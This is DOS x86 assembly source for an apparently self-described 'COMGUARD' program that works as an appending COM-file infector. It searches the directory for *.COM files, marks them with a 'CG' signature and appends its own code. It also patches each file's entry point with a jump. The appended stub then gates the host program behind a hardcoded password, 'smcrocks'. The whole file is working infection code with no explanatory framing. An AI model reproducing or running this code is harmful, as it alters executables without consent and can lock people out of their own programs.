.model tiny
.code

	ORG	100h

START:
	jmp	BEGINCODE		;Jump the identification string
	DB	'CG'

BEGINCODE:
	mov	ah, 4Eh			;Search for files matching filter
	mov	dx, offset filter
	int	21h

SLOOP:
	jc	DONE
	mov	ax, 3D02h		;Open file R/W
	mov	dx, 9Eh			;Filename, stored in DTA
	int	21h
	mov	bx, ax			;Save file handle in bx
	mov	ax, 3F00h		;Read first 5 bytes from file
	mov	cx, 5
	mov	dx, offset obytes
	int	21h

	;Check to see if file is already infected
	;if it is, then skip it
	cmp	word ptr [obytes + 3], 'GC'
	je	NOINFECT

	;Check to see if file is really an EXE
	cmp	word ptr[obytes], 'ZM'
	je NOINFECT

	;Make sure file isn't too large
	mov	ax, ds:[009Ah]		;Size of file
	add	ax, offset ENDGUARD - offset COMGUARD + 100h
	jc	NOINFECT		;If ax overflows then don't infect

	;If we made it this far then we know the file is safe to modify
	xor	cx, cx                  ;cx = 0
	xor 	dx, dx			;dx = 0
	mov	ax, 4202h		;Move file pointer to the end of file
	int	21h

	mov	ax, 4000h		;Write the code to the end of file
	mov	dx, offset COMGUARD
	mov	cx, offset ENDGUARD - offset COMGUARD
	int	21h

	mov	ax, 4200h		;Move file pointer to beginning of
	xor	cx, cx			; file to write jump
	xor 	dx, dx
	int	21h

	;Prepare the jump instruction to be written to beginning of file
	xor	ax, ax
	mov	byte ptr [bytes], 0E9h	;opcode for jmp
	mov	ax, ds:[009Ah]		;size of the file
	sub	ax, 3			;size of the jump instruction
	mov	word ptr [bytes + 1], ax;size of the jump

	;Write the jump
	mov	cx, 5;			;size to be written
	mov	dx, offset bytes
	mov	ax, 4000h
	int	21h

	mov	ah, 3Eh			;Close file
	int	21h

NOINFECT:
	mov	ax, 4F00h		;Find next file
	int	21h
	jmp	SLOOP

DONE:

	mov	ax, 4C00h		;DOS terminate
	int	21h

COMGUARD:
	call	GET_START

GET_START:
	pop	bp
	sub	bp, offset GET_START

	mov	ah, 9h		 	;DOS print string
	lea	dx, [bp + prompt]       ;Print the password prompt
	int	21h
	lea	di, [bp + guess]
	xor	cx, cx

READLOOP:
	mov 	ah, 7h			;Read without echo
	int	21h
	inc	cx                      ;Count of characters entered
	stosb                           ;Store guess for comparison later
	cmp	cx, 10                  ;Limit guess to 10 chars including CR
	je	CHECKPASS
	cmp	al, 13                  ;Quit loop when CR read
	jne	READLOOP

CHECKPASS:
	lea	di, [bp + guess]	;Setup for passwd checking loop
	lea	si, [bp +passwd]        ;Setup addresses for cmpsb
	xor	cx, cx                  ;Set counter to zero
	cld                             ;Tell cmpsb to increment si and di

CHECKLOOP:
	cmpsb                           ;Compare passwd with guess
	jne	FAIL                    ;Abort program if password is wrong
	inc	cx			;Increment counter
	cmp	cx, 8                   ;Only check first 8 chars
	jne	CHECKLOOP               ;Loop until you've read first 8

SUCCESS:
	mov	cx, 5
	cld
	lea	si, [bp + obytes]
	mov	di, 100h
	rep	movsb
	push	100h			;return from the jump to execute
	ret                             ;the host program

FAIL:
	mov	ah, 9h			;DOS print string
	lea	dx, [bp + badpass]      ;Print bad password msg
	int	21h
	mov	ax, 4C00h
	int	21h

prompt	DB	'password: ','$'
badpass	DB	'Invalid password!','$'
passwd	DB 	'smcrocks'
guess	DB	10 dup (0)
obytes	DB	0,0,0,0,0

ENDGUARD:
filter	DB	'*.com',0
bytes	DB	0,0,0,'CG'

END START
